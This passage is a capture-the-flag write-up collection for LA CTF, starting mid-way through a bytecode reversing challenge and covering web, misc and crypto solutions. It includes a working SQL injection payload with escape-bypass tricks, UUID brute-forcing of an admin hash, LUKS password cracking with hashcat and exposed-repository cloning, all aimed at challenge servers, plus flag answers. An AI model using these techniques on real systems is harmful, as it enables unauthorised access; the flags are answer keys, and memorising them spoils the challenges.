h\x94\x86\x06K\x10K\x94\x86\rK\x0fK\x94\x86\x13K\x00K\x94\x86\rK\x0bK\x94\x86\x04K\x00K\x17h\x94\x86\x07K\tK\x94\x86\x11K\x04KGh\x94\x86\x06K\x03K\x94\x86\x12K\x00KBh\x94\x86\rK\x12Klh\x94\x86\x08K\x06K\x94\x86\x0eK\x0fK\x94\x86\nK\x10K\x94\x86\x01K\x07K\x94\x86\x04K\x07K\x94\x86\x0fK\nK\x94h\x94\x86\x08K\x0bK\x94\x86\x11K\tK\x94\x86\x02K\x02K\x94\x86\x08K\tK\nh\x94\x86\x02K\x00K\x92hgh\x94\x86\x00K\x08K(\x94\x912h_h\x89h\x94\x86\x02K\x07K\x94\x86\x06K\rK\x86h\x94\x86\x0cK\x0bK\x94\x86\x0cK\tK\x94\x86\x07K\x13KUh*h\x94\x86\x13K\x04K&h%h\x94\x86\x05K\x0cK!h\x94\x86\x06K\x07Kzh\x94\x86\nK\x0fK\x94\x86\x10K\x02Kxh\x94\x86\x08K\nK\x94\x86\x07K\rKIh\x94\x86\nK\x00K\x94\x86\x0bK\x13K\x18h\x94\x86\x05K\x13K\x94\x86\x0fK\x03K\x94\x86\x12K\x0cK\x94\x86\x12K\x03K\x94\x86\x12K\x0eK\x94\x86\x03K\x0eK\x94\x86\x05K\x04K\x94\x86\x00K\x03K\x94\x86\rK\x07Klh\x94\x86\x11K\x0bK\x94\x86\x08K\x02K\x94\x86\x08K\x00K\x94\x86\x05K\x00K\x94\x86\x03K\x13K\x94\x86\x0fK\x04K\x05h\x94\x86\x07K\x05K\x94\x86\x06K\x04K\x94\x86\x07K\x03K\x94\x86\nK\x0cK\x94\x86\x04K\x0eK\x03h(\x94\x91\x94\x86\x0fK\x0fK3h\x94\x86\x02K\x12K\x94\x86\x13K\nK\x94\x86\x0fK\x00K\x94\x86\x0cK\x00K\x94\x86\x0fK\tK\x94\x86\x01K\nK\x94\x86\x07K\nK\x94\x86\tK\x0bK\x94\x86\x11K\x05K\x94\x86\x0eK\x05K,h\x94\x86\tK\tK*h\x94\x86\rK\x04K\x94\x86\x07K\x11K\x94\x86\x08K\x0cK\x94\x86\rK\x06K\x94\x86\tK\x07K\x94\x86\x11K\x13K\x94\x86\rK\x00K\x94\x86\x05K\x01K\x94\x86\x01K\rK\x94\x86\x04K\x0fKJh\x94\x86\x11K\x08K\x94\x86\x05K\nK\x94\x86\x05K\x08K\x18h\x94\x86\x0eK\x11K\x94\x86\x01K\tKFh\x13h\x94\x86\x02K\x11K\x94\x86\x00K\x0eK\x94\x86\x11K\x06K\x94\x86\x11K\x0fK\x94\x86\x10K\x10K\x94\x86\x02K\x06K\x94\x86\x0cK\x01K\x94\x86\x12K\x08K\x0fh8h\x94\x86\rK\x05K\x94\x86\x10K\x03K\x94\x86\nK\x03K\x94\x86\x01K\x03K\x94\x86\x11K\x12K\x94\x86\x11K\x07K(\x94\x91\x94\x86\x03K\x06K\x94\x86\x0fK\rK\x94\x86\tK\x0fK\x94\x86\x03K\rK\x94\x86\x00K\x0fK\x94\x86\x10K\nK\x94\x86\tK\x02K\x94\x86\rK\x08K\x94\x86\x13K\x11K\x94\x86\x00K\x02K\x94\x86\x03K\x00K\x94\x86\x10K\x11K\x94\x86\nK\x11K\x94\x86\x11K\x03K\x94\x86\x08K\x03K\x94\x86\x11K\x0cK\x94\x86\x02K\x05K\x94\x86\x02K\x0eK\x94\x86\x06K\x12K\x94\x86\x07K\x06K\x94\x86\rK\x02K\x94\x86\x13K\tK\x94\x86\x07K\x02K\x94\x86\nK\x0bK\x1ah\x94\x86\x0fK\x05K\x16h\x94\x86\x0bK\x11K\x94\x86\x03K\x05K\x94\x86\tK\x03K\x13h\x94\x86\x06K\x0eK\x94\x86\x0bK\x12K\x94\x86\x03K\x0cK\x94\x86\x12K\x01K\x94\x86\x0fK\x08K\x94\x86\x05K\x02K\x94\x86\x0bK\tK\rh\x94\x86\x05K\x0bK\x07h\x0ch\x94\x86\nK\x05K\x94\x86\rK\x0eK\x94\x86\tK\x11K\x94\x86\x03K\x11K\x94\x86\x01K\x05K\x94\x86\x10K\x01K\x94\x86\x0fK\x06K\x94\x86\x12K\x06K(\x94\x91\x94\x86\x0bK\x10K\x94\x86\x0cK\x0fK\x94\x86\x05K\x12K\x94\x86\x0fK\x02K\x94\x86\rK\x01K\x94\x86\x02K\x10K\x94\x86\x06K\x00K\x94\x86\x11K\x0eK\x94\x86\x00K\x0bK\x94\x86\x01K\x13K\x94\x86\x01K\x11K\x94\x86\x04K\x08K\x94\x86\x05K\x05K\x94\x86\x10K\x04K\x94\x86\x04K\x04K\x94\x86\x01K\x04K\x94\x86\x07K\x04K\x94\x86\x12K\x07K\x94\x86\x12K\x10K\x94\x86\x0cK\x12K\x94\x86\x03K\x10K\x94\x86\x10K\x0bK\x94\x86\x10K\x00K\x94\x86\x10K\tK\x94\x86\x0eK\x13K\x94\x86\x0eK\x08K\x94\x86\x08K\x13K\x94\x86\x0bK\x08K\x94\x86\x0cK\x05K\x94\x86\x0bK\x04K\x94\x86\x0cK\x0eK\x94\x86\x05K\x11K\x94\x86\tK\x0eK\x94\x86\x07K\x07K\x94\x86\x07K\x10K\x94\x86\x03K\x01K\x94\x86\x03K\x08K\x94\x86\x0cK\x11K\x94\x86\tK\nK\x94\x86\tK\x08K\x94\x86\x06K\x08K\x94\x86\x00K\nK\x94\x86\tK\x13K\x94\x86\x10K\x05K\x94\x86\x13K\x0eK\x94\x86\x05K\tK\x94\x86\x06K\x13K\x94\x86\tK\x04K\x94\x86\x04K\x03K\x94\x86\x0cK\x06K(\x01\xc5\xcf\x1c\xc5\x86Y*\x81Q\xc3\xc3\xa5\r\x8a\x14K\x94\x85\x94euqed\x05\x8c\x00KN(\x00\x00\x00\x00\x00\x00\tv\x95\x04\x80'

varname_tuple = ('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u')
symbols_tuple = ("pickle", "encode_long", "__code__", "time", "collections", "deque", "range", "print", "len", "popleft", "isinstance", "int", "isdigit", "appendleft", "append", "open", "read", "strip", "pop", "sleep", "extend", "input", "split")
constants = __import__("pickle").loads(__import__("builtins").bytes(__import__("builtins").reversed(binbytes2)))
bytecode = __import__("builtins").bytes(__import__("builtins").map(__import__("functools").partial(__import__("operator").and_, 255), __import__("itertools").starmap(__import__("operator").xor, __import__("builtins").enumerate(binbytes))))

code_object = types.CodeType(0, 0, 0, 21, 11, 67, bytecode, constants, symbols_tuple, varname_tuple, "snek", "snek", 1337, b"snek")
pyc_data = importlib._bootstrap_external._code_to_timestamp_pyc(code_object)

with open("snek.pyc", "wb") as f:
    _ = f.write(pyc_data)

Then, use unpyc37-3.10 to decompile the PYC file. I got decompiled code that looks like this:

import pickle as a
a.encode_long.__code__ = a.encode_long.__code__
import time as b
from collections import deque as c
d = 20
e = 140447092963680462851258172325
frozenset({(6, 12), (3, 4), (4, 9), (19, 6), (9, 5), (8, 3), (19, 9), (5, 16), (8, 9), (8, 6), (10, 0), (10, 9), (14, 19), (17, 12), (1, 3), (16, 7), (7, 7), (14, 9), (14, 12), (17, 5), (4, 11), (5, 12), (8, 11), (9, 16), (8, 14), (19, 8), (19, 14), (11, 16), (0, 16), (16, 3), (18, 12), (16, 18), (4, 1), (4, 7), (7, 18), (4, 4), (4, 16), (5, 5), (8, 4), (17, 1), (11, 0), (14, 17), (19, 1), (0, 6), (16, 2), (1, 13), (2, 15), (18, 5), (15, 12), (16, 11)})
frozenset({(6, 18), (6, 15), (1, 16), (17, 3), (17, 9), (5, 1), (14, 13), (5, 10), (8, 9), (14, 19), (11, 5), (10, 9), (9, 11), (8, 15), (2, 5), (1, 18), (12, 3), (14, 6), (3, 9), (14, 9), (5, 3), (17, 11), (4, 11), (5, 15), (8, 14), (9, 19), (2, 7), (11, 10), (2, 13), (6, 7), (18, 6), (6, 3), (14, 2), (5, 2), (12, 17), (3, 8), (17, 10), (3, 17), (17, 16), (0, 3), (2, 0), (17, 19), (8, 13), (2, 9), (10, 16), (13, 3), (15, 0), (15, 9), (13, 15), (18, 11)})
frozenset({(18, 17), (7, 17), (3, 1), (3, 10), (3, 16), (5, 1), (5, 13), (8, 3), (8, 18), (1, 12), (6, 2), (16, 16), (15, 17), (6, 17), (14, 0), (17, 2), (14, 9), (5, 3), (9, 1), (17, 14), (8, 5), (8, 11), (10, 5), (2, 7), (1, 5), (8, 17), (0, 13), (13, 1), (15, 4), (19, 17), (7, 9), (6, 13), (12, 8), (17, 7), (4, 13), (9, 9), (5, 14), (14, 17), (19, 1), (10, 1), (10, 7), (5, 17), (9, 15), (0, 12), (11, 9), (0, 15), (10, 19), (18, 2), (16, 11), (15, 15)})
frozenset({(3, 4), (14, 4), (12, 10), (3, 7), (4, 6), (5, 7), (19, 6), (4, 15), (19, 3), (0, 5), (0, 8), (11, 17), (2, 8), (15, 17), (7, 13), (3, 0), (4, 5), (14, 3), (14, 18), (3, 18), (12, 18), (3, 15), (19, 5), (8, 11), (19, 11), (0, 10), (10, 8), (13, 7), (11, 10), (0, 13), (2, 16), (7, 9), (15, 10), (7, 6), (16, 18), (12, 5), (4, 4), (4, 16), (4, 19), (19, 1), (17, 16), (19, 7), (9, 12), (11, 12), (0, 12), (13, 6), (7, 2), (18, 2), (13, 15), (15, 12)})
frozenset({(8, 0), (5, 13), (0, 2), (10, 0), (19, 3), (9, 8), (2, 2), (11, 8), (0, 8), (9, 17), (10, 15), (7, 4), (7, 1), (16, 10), (15, 14), (6, 8), (15, 17), (18, 13), (12, 3), (0, 18), (3, 6), (17, 11), (4, 17), (9, 7), (5, 12), (0, 4), (11, 13), (0, 19), (15, 13), (16, 6), (18, 12), (6, 10), (16, 18), (12, 11), (7, 18), (3, 11), (17, 4), (3, 14), (4, 19), (0, 3), (5, 17), (13, 0), (17, 19), (2, 3), (1, 13), (9, 18), (15, 6), (1, 10), (11, 18), (16, 17)})
frozenset({(4, 6), (4, 12), (9, 2), (3, 10), (17, 6), (11, 2), (17, 12), (9, 8), (9, 14), (10, 3), (9, 17), (17, 18), (2, 11), (0, 11), (15, 8), (12, 6), (4, 5), (3, 6), (3, 12), (19, 11), (9, 10), (19, 14), (8, 17), (15, 4), (11, 13), (2, 10), (10, 17), (1, 14), (16, 6), (15, 10), (6, 13), (15, 19), (6, 16), (16, 18), (12, 5), (3, 2), (17, 4), (3, 8), (4, 16), (17, 1), (3, 17), (8, 7), (1, 1), (9, 12), (2, 0), (11, 9), (19, 10), (2, 6), (7, 11), (15, 18)})
frozenset({(4, 0), (12, 7), (3, 4), (14, 7), (19, 0), (19, 6), (4, 15), (3, 19), (10, 0), (14, 19), (9, 14), (13, 11), (18, 1), (1, 15), (12, 3), (14, 6), (4, 5), (4, 14), (3, 12), (19, 2), (9, 1), (11, 1), (8, 14), (19, 14), (2, 7), (0, 13), (11, 19), (0, 19), (1, 14), (13, 16), (13, 13), (16, 12), (15, 19), (6, 19), (5, 2), (3, 8), (3, 14), (5, 5), (8, 4), (19, 4), (19, 7), (19, 10), (1, 4), (8, 13), (16, 2), (13, 6), (7, 2), (0, 18), (6, 3), (16, 11)})
frozenset({(7, 17), (9, 5), (0, 2), (10, 0), (14, 13), (9, 14), (13, 2), (19, 18), (8, 18), (9, 11), (16, 4), (1, 9), (13, 8), (16, 7), (1, 18), (15, 11), (2, 17), (13, 17), (15, 14), (7, 13), (4, 2), (12, 15), (4, 11), (19, 11), (17, 17), (11, 10), (8, 17), (19, 17), (1, 11), (11, 13), (0, 19), (13, 16), (6, 7), (6, 13), (16, 18), (7, 18), (17, 4), (19, 4), (4, 13), (4, 19), (14, 17), (10, 4), (13, 3), (9, 18), (2, 6), (15, 6), (2, 15), (16, 14), (7, 11), (7, 8)})
frozenset({(6, 18), (7, 17), (14, 4), (14, 1), (5, 16), (10, 6), (0, 17), (10, 15), (13, 14), (16, 7), (6, 5), (16, 13), (18, 19), (14, 6), (4, 14), (17, 5), (8, 2), (5, 12), (5, 18), (8, 5), (11, 7), (19, 8), (13, 4), (0, 16), (18, 5), (13, 10), (15, 7), (18, 0), (16, 6), (16, 12), (15, 10), (6, 13), (16, 15), (15, 19), (16, 18), (12, 11), (14, 2), (9, 0), (17, 7), (19, 7), (17, 13), (0, 9), (5, 17), (15, 0), (2, 6), (16, 5), (1, 10), (7, 5), (16, 17), (7, 14)})
frozenset({(12, 7), (3, 1), (12, 19), (3, 10), (9, 5), (3, 19), (8, 3), (10, 0), (17, 6), (9, 14), (5, 19), (10, 3), (17, 18), (11, 14), (2, 11), (2, 8), (15, 11), (16, 16), (6, 14), (3, 0), (3, 3), (5, 6), (3, 12), (17, 5), (4, 17), (0, 7), (2, 4), (8, 8), (9, 16), (13, 1), (1, 11), (2, 10), (6, 4), (18, 3), (6, 16), (7, 15), (7, 18), (4, 10), (5, 5), (4, 13), (3, 17), (0, 9), (5, 17), (9, 15), (8, 19), (1, 7), (16, 5), (7, 2), (6, 6), (13, 15)})
f = [{}, {}, {}, {}, {}, {}, {}, {}, {}, {}]
g = c([(0, 0)])
h = (1, 0)
i = 0
j = c([])
k = []
l = ''
for m in range(d):
    n = ''
    for o in range(d):
        if (m, o) in g:
            n += '#'
        elif (m, o) in (f[i]):
            n += 'o'
        else:
            n += '.'
    l += n + '\n'
print(l, flush=True)
if len(j) > 0:
    p = j.popleft()
    if isinstance(p, int) or p.isdigit():
        p = int(p)
        p -= 1
        if p > 0:
            j.appendleft(p)
        q = g[0]
        r = (q[0] + h[0], q[1] + h[1])
        if r[0] < 0 or (r[0] >= d or r[1] < 0) or r[1] >= d:
            print('snek dead :(')
            return
        g.appendleft(r)
        if r in (f[i]):
            i += 1
            k.append(r)
            if i == len(f):
                s = 0
                for (t, u) in k:
                    s ^= 1337
                    s *= d**(2)
                    s += t*d + u
                if e == s:
                    print('snek happy :D')
                    print(open('flag.txt', 'r').read().strip())
                    return
                print('snek sad :(')
                return
        else:
            g.pop()
    elif p == 'L':
        h = (-h[1], h[0])
    elif p == 'R':
        h = (h[1], -h[0])
    else:
        print('snek confused :(')
        return
else:
    j.extend(input('snek? ').strip().split())

While the logic shown in the script is not entirely correct and sensible, you can deduce what is happening and how the flag could be reached:

  1. Each map is stored as a frozenset that has orb coordinates.
  2. Each time an orb gets collected, its coordinates are stored in an array called k.
  3. After an orb is collected from each map, each coordinate in k is used to calculate a checksum s.
  4. If s is equal to 140447092963680462851258172325, the flag gets printed.

Now the objective of the game is clear: Collect specific orbs such that the target checksum is reached.

Determine the coordinates of the orbs to collect for each map:

checksum = 140447092963680462851258172325
coords = []

for i in range(10):
    rem = checksum % 400
    checksum -= rem
    checksum //= 400
    checksum ^= 1337
    col = rem % 20
    rem -= col
    row = rem // 20
    coords.append((row, col))

coords = coords[::-1]

for coord in coords:
    print(coord)

Then, determine the correct movements for each map such that the target orbs are collected. I did this manually, which took around 20 minutes.

Finally… solve it.

from pwn import *

inputs = ["9", "L", "1", "R", "2", "R", "1", "R", "8", "R", "3", "L", "3", "R", "8", "R", "2", "L", "7", "R", "6", "L", "1", "R", "6", "R", "1", "7", "L", "3", "1", "L", "4", "L", "15", "L", "3", "2", "L", "16", "R", "3", "R", "3", "R", "4", "L", "1", "R", "4", "R", "1", "R", "10"]

s = remote("lac.tf", 31133)

for ans in inputs:
    _ = s.recvuntil(b"snek? ")
    _ = s.sendline(ans.encode())

_ = s.recvuntil(b"snek happy :D\n")
flag = s.recv().decode().strip()
print(flag)

s.close()

Flag: lactf{h4h4_sn3k_g0_brrrrrrrr}

(Postmortem thoughts: I didn’t pay enough attention to the outputted script to notice that the user input gets splitted. This means I could’ve just separated each input with a single space and sent them all at once…)

Web (9/9 solved)

college-tour (756 solves)

Solved by J4cky

https://college-tour.lac.tf/

First, check the source code of the web page.

Get the 3 parts of the flag:

lactf{1_j03_4}
lactf{2_nd_j0}
lactf{4_n3_bR}

Next, check the index.css.

lactf{3_S3phI}

Then, check the script.js.

lactf{5_U1n_s}
lactf{6_AY_hi}

Finally, put the different parts together and get the flag.

Flag: lactf{j03_4nd_j0S3phIn3_bRU1n_sAY_hi}

uuid hell (165 solves)

Solved by RaccoonNinja and fsharp; written by RaccoonNinja

v1 UUIDs are time-based and not really secure.

The fastest way to solve it is to do these in burp repeater:

  • get user UUID
  • generate admin UUID
  • get user UUID again, confirm only 1 admin UUID is generated by comparing the 2 admin lists recorded in logger

The search range can be greatly reduced if we appreciate that nsec is 0, cracking md5 takes no time as well.

import hashlib

def uuid_to_time(x):
  a,b,c,d,e = x.split("-")
  return int(c[1:]+b+a, 16)//10000

def time_to_uuid(t):
    info = hex(int(t)*10000)[2:]
    return f"{info[-8:]}-{info[3:7]}-1{info[:3]}-aa64-67696e6b6f69"

start = uuid_to_time("7b9d8fe0-a9e2-11ed-aa64-67696e6b6f69")
end   = uuid_to_time("7c4393e0-a9e2-11ed-aa64-67696e6b6f69")
h = "94413ca27101391a61b8a3173efd4fad"

for i in range(start,end+10000):
    m = hashlib.new('md5')
    m.update(f"admin{time_to_uuid(i)}".encode())
    digest = m.hexdigest()
    if digest == h:
        print(time_to_uuid(i), digest)
        break

lactf{uu1d_v3rs10n_1ch1_1s_n07_r4dn0m}

my-chemical-romance (104 solves)

Solved by fsharp

There are only two pages in the website: The main page and another page that shows up when the URL being requested isn’t found.

Looking closer, there’s a response header called Source-Control-Management-Type: Mercurial-SCM by accessing the main page. Mercurial SCM is a version control system for software developers, just like Git and Subversion.

Perhaps the source code or version history of the website could be downloaded? After installing TortoiseHg, clone the website directly by running hg clone --verbose https://my-chemical-romance.lac.tf <directory> and open up gerard_way2001.py to find the flag hidden in a previous version.

Flag: lactf{d0nT_6r1nk_m3rCur1al_fr0m_8_f1aSk}

85_reasons_why (78 solves)

Solved by RaccoonNinja

https://85-reasons-why.lac.tf/

We’re given a blog, specifically the query by image function does these:

  • encode the image with base85
  • escape single quotes but \\\' gets encoded to ' (note ~ is not a valid character in base85)

When combined with the fact that /**/ can be used in place of space in sqlite, the problem can be solved quickly:

import re, base64
sql = "'OR 1=1 OR 'a'='a"
print("where b85_image = '{}' AND ((select active from posts where id=PID) = TRUE)".format(sql))
sql = sql.replace(" ", "/**/")
sql = sql.replace("'", "\\\\\\\'")

def serialize_image(b85_string):
    # identify single quotes, and then escape them
    b85_string = re.sub('\\\\\\\\\\\\\'', '~', b85_string)
    b85_string = re.sub('\'', '\'\'', b85_string)
    b85_string = re.sub('~', '\'', b85_string)

    b85_string = re.sub('\\:', '~', b85_string)
    return b85_string

print("where b85_image = '{}' AND ((select active from posts where id=PID) = TRUE)".format(serialize_image(sql)))

def deserialize_image(b85):
    ret = b85
    ret = re.sub('~', ':', b85)
    raw_image = base64.a85decode(ret)
    with open("solve.png", "wb") as f:
        f.write(raw_image)
    print("done, try your luck")

deserialize_image(sql)

Submit the image and profit.

lactf{sixty_four_is_greater_than_eigthy_five_a434d1c0e0425c3f}

Misc (11/11 solved)

EBE (426 solves)

Solved by fsharp

The packet capture consists entirely of UDP packets, each containing only 1 byte of payload. However, viewing all of them together only shows a jumbled bunch of characters. What’s going on?

Opening up the dissection of each packet, I noticed that the IPv4 header checksums were not validated, and that there were only two values: 0xe4c0 and 0x64c1. I filtered for packets that have the latter checksum with ip.checksum == 0x64c1, exported them to another file, and followed the newly constructed UDP stream to get the flag.

It wasn’t until after the CTF ended that I realized the challenge wasn’t about looking at header checksums, but was instead about the evil bit in IPv4 headers…

Flag: lactf{3V1L_817_3xf1l7R4710N_4_7H3_W1N_51D43c8000034d0c}

hidden in plain sheets (251 solves)

Solved by J4cky, LifeIsHard and RaccoonNinja; written by RaccoonNinja

We need to gain info to content in a hidden sheet called flag.

I severely overthought the problem, looking at various http requests and trying to poke at it. The keypoint is that hidden sheets/regions are only cosmetic and not secure at all.

We can simply use the Find function and it will gladly find in the flag sheet for us. We can search with regex . in the flag sheet and recover letter-by-letter.

lactf{H1dd3n_&_prOt3cT3D_5h33T5_Ar3_n31th3r}

a hacker’s notes (43 solves)

Solved by RaccoonNinja and fsharp; written by fsharp

We’re provided with an encrypted flash drive and are tasked with looking inside it to find a note from a hacker.

The password used to encrypt the drive is in the form of hacker{3 digits}. By bruteforcing the LUKS encryption password with hashcat, the password is found to be hacker765. The drive could now be mounted.

Several files exist in the drive, and a few caught our interest:

  1. .config/joplin/database.sqlite: A SQLite database file. Opening it with sqlitebrowser shows an entry named encryption.masterPassword with a value of n72ROU9BqbjVOlXKH5Ju in the settings table.
  2. encrypted-notes/info.json: A JSON file containing an encrypted master key.
  3. encrypted-notes/b692aaeaf3494fa29121524802940dc2.md and encrypted-notes/f6fdd827811741a5b8b796b7778b2f4b.md: 2 encrypted notes from Joplin.

After examining the Joplin source code used for note encryption, RaccoonNinja determined that the sjcl module needs to be used to decrypt the notes.

We were stuck for a while. Decrypting either note with the found masterPassword didn’t work. It turns out that the master key needs to be decrypted with the masterPassword first. The notes can then be decrypted with the decrypted contents of the master key.

Flag: lactf{S3cUr3_yOUR_C4cH3D_3nCRYP71On_P422woRD2}

private Bin (38 solves)

Solved by fsharp

The goal is to recover the contents of a private paste. An HTML file and an archive file containing a packet capture are given.

The challenge description states that the domain storing the private pastes is hosted somewhere under lac.tf. Searching the packet capture for the string lac.tf gives us the domain: privatebin-0191c4fc.lac.tf.

Heading there, we could download an sslkey.log file so that Wireshark could decrypt and view the contents of packets for HTTPS requests to and responses from that domain.

One of the HTTP streams shows an encrypted zip file that failed to be uploaded onto the server due to it being too large. Another shows client-side JavaScript that is used to decrypt an encrypted private paste with a user-provided key.

The JavaScript used AES-256-CBC decryption: All information regarding the paste is encoded as a base64 blob, where the first 16 decoded bytes comprise the IV used, and the remaining decoded bytes make up the encrypted paste.

The HTML file provided at the beginning of the challenge contains the password to open the encrypted zip file, which is testlactf123. There are two files in the archive: key.txt, which contains the key used to encrypt the paste; and secret.txt, which only has a long string of randomly picked characters that is unused.

Use the key found and IV from the base64 blob to perform the decryption and get an image containing the flag.

Flag: lactf{e2e_encryption_is_only_as_safe_as_the_client_1dc5f2}

Crypto (9/9 solved)

ravin-cryptosystem (123 solves)

Solved by LifeIsHard and Mystiz; written by RaccoonNinja

The title alludes to Rabin cryptosystem. This is further verified with the 2 prime factors being 3 mod 4. Note that cryptanalysis to Rabin cryptosystem is not needed to solve this challenge.

Due to an error in the fastpow function, the flag is raised to 65536th power instead of 65537. This sucks because e is not co-prime with (p-1)(q-1), which is even.

Thankfully we can apply quick square-root finding 16 times and we should get 4**16 candidates No there are only 4.

from Crypto.Util.number import long_to_bytes
from sage.all import xgcd

p,q = 861346721469213227608792923571,1157379696919172022755244871343
n=p*q
c = 375444934674551374382922129125976726571564022585495344128269

"""
The extended gcd is also part of SAGE's library. xgcd(a,b) returns 3 numbers: the gcd, and n,m such that na + mb = gc
"""
yp, yq = xgcd(p, q)[1:]

def gen_roots(cs):
    ans = []
    for c in cs:
        cp, cq = c%p, c%q
        mp = int(pow(cp, (p+1)//4, p))
        mq = int(pow(cq, (q+1)//4, q))
        ans += [
            (yp*p*mq + yq*q*mp) %n,
            (yp*p*mq - yq*q*mp +n ) %n
        ]
        ans+=[n-ans[-2],n-ans[-1]]
    return ans

cans = [c]
for i in range(16):
    cans = set(gen_roots(cans))
    if i<24:
        print(cans, end="\n\n")

for c in cans:
    C = long_to_bytes(c)
    if C[:6] == b"lactf{" and C[-1:] == b"}":
        print(C)
        break

hill-hard (31 solves)

Solved by Mystiz; written by LifeIsHard

First blood.

Step 1: Recover 13 columns in matrix $A$

Encryption: $Ax = b$

When we can choose $x$, we can get the columns in $A$ with the following method

  • first column of $A$ by $(b_1-b_0)\text{ mod }95$
  • second column of $A$ by $(b_2-b_0)\text{ mod }95$
  • etc.

$$ A \times \begin{bmatrix} 1 & 1 & 1 & 1 & \cdots & 1 \end{bmatrix}^T = b_0 \\ A \times \begin{bmatrix} 2 & 1 & 1 & 1 & \cdots & 1 \end{bmatrix}^T = b_1 \\ A \times \begin{bmatrix} 1 & 2 & 1 & 1 & \cdots & 1 \end{bmatrix}^T = b_2 \\ \cdots $$

However, we cannot choose $x$ directly in this challenge. Our input will be XOR with fakeflag before matrix multiplication.

$$ A \times \left( \text{fakeflag } ⊕ \text{ our input[20]} \right)= b \\ A \times \left( \text{lactf\{?????????????\} } ⊕ \text{ our input[20]} \right)= b $$

Example:

$$ \begin{aligned} b_0 &= A \times ( \begin{bmatrix} \text{l} & \text{a} & \text{c } \cdots & \text{\}} \end{bmatrix}^T \oplus \begin{bmatrix} 1 & 1 & 1 & \cdots & 1 \end{bmatrix}^T ) \\ &= A \times ( \begin{bmatrix} 76 & 65 & 67 \cdots & 1 \end{bmatrix}^T \oplus \begin{bmatrix} 1 & 1 & 1 & \cdots & 1 \end{bmatrix}^T ) \\ &= A \times \begin{bmatrix} 77 & 64 & 66 \cdots & 1 \end{bmatrix}^T \end{aligned} $$

$$ \begin{aligned} b_1 &= A \times ( \begin{bmatrix} 76 & 65 & 67 \cdots & 1 \end{bmatrix}^T \oplus \begin{bmatrix} 2 & 1 & 1 & \cdots & 1 \end{bmatrix}^T ) \\ &= A \times \begin{bmatrix} 78 & 64 & 66 \cdots & 1 \end{bmatrix}^T \end{aligned} $$

As fakeflag is unknown, $(x⊕2 - x⊕1)$ is different for different $x$. It would be hard to recover the column in $A$ as there’s 4 possible cases for the difference.

$x$ $x⊕1$ $x⊕2$ $x⊕2 - x⊕1$
0 1 2 1
1 0 3 3
2 3 0 -3
3 2 1 -1
4 5 6 1

We can try to find a better number ($k$) than “$2$”, then the difference will be same for all $x$.
Note that the unknown part of fakeflag (lactf{?????????????}) only contains small letters (a-z), so $x \in [65, 90]$.

  • As the first two bits for $[65, 90]$ in 7-bit representation are the same (i.e. starting with “10”), we can set any value for the first 2 bits of $k$.
  • Last bit of $k$ is “1” as we’re going to minus $x⊕1$

Therefore, the following values are possible:

Possible $k$ Binary rep. $x⊕k - x⊕1$ Remarks
1 0000001 0 Can’t use, we want difference ≠ 0
33 0100001 32 Ok
65 1000001 -64 Ok
97 1100001 -32 Can’t use, our input range is [1,94]

We will use $k=33$ for the following explanation, our input for the 14 attemps can be:

iteration    input
0            1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  
1            1  1  1  1  1  1  33 1  1  1  1  1  1  1  1  1  1  1  1  1  
2            1  1  1  1  1  1  1  33 1  1  1  1  1  1  1  1  1  1  1  1  
...          ...
13           1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  1  33 1 
------------------------------------------------------------------------
             l  a  c  t  f  {  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  }

Step 2: Get encrypted(fakeflag2) by calculating offset

With the input in Step 1, we can get the 7-th to 19-th column. However, the remaining 7 columns are still missing.

As we know 7 characters of the fakeflag, we can change our input a bit.

$$ A \times \left( \text{lactf\{?????????????\} } ⊕ \text{ lactf\{our input[13]\}} \right) = b \\ A \times \begin{bmatrix} 0 & 0 & 0 & 0 & 0 & 0 & ? & ? & \cdots & ? & ? & 0 \end{bmatrix}^T = b $$

iteration    input
0            76 65 67 84 70 91 1  1  1  1  1  1  1  1  1  1  1  1  1  93
1            76 65 67 84 70 91 33 1  1  1  1  1  1  1  1  1  1  1  1  93
2            76 65 67 84 70 91 1  33 1  1  1  1  1  1  1  1  1  1  1  93
...          ...
13           76 65 67 84 70 91 1  1  1  1  1  1  1  1  1  1  1  1  33 93
------------------------------------------------------------------------
             l  a  c  t  f  {  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  }

Then we can get the encrypted result with partially recoverd $A$ (i.e. 6 columns of “0"s + 13 columns recovered with Step 1 + 1 column of “0"s).

With the partially recovered $A$ and the encryption result of input [76 65 67 84 70 91 1 1 1 1 1 1 1 1 1 1 1 1 1 93], we can recover the wrapped part of fakeflag.

Note that the difference of encrypted fakeflag ($f_1$) and encrypted fakeflag2 ($f_2$) will be the same with $A$ and partially recovered $A$ (denote as $\tilde{A}$), i.e.,

$$\text{Enc}(f_2, A) - \text{Enc}(f_1, A) = \text{Enc}(f_2, \tilde{A}) - \text{Enc}(f_1, \tilde{A})$$

We can then get $\text{Enc}(f_2, A)$ as we have the other three terms.

Flag: lactf{putting_the_linear_in_linear_algebra}.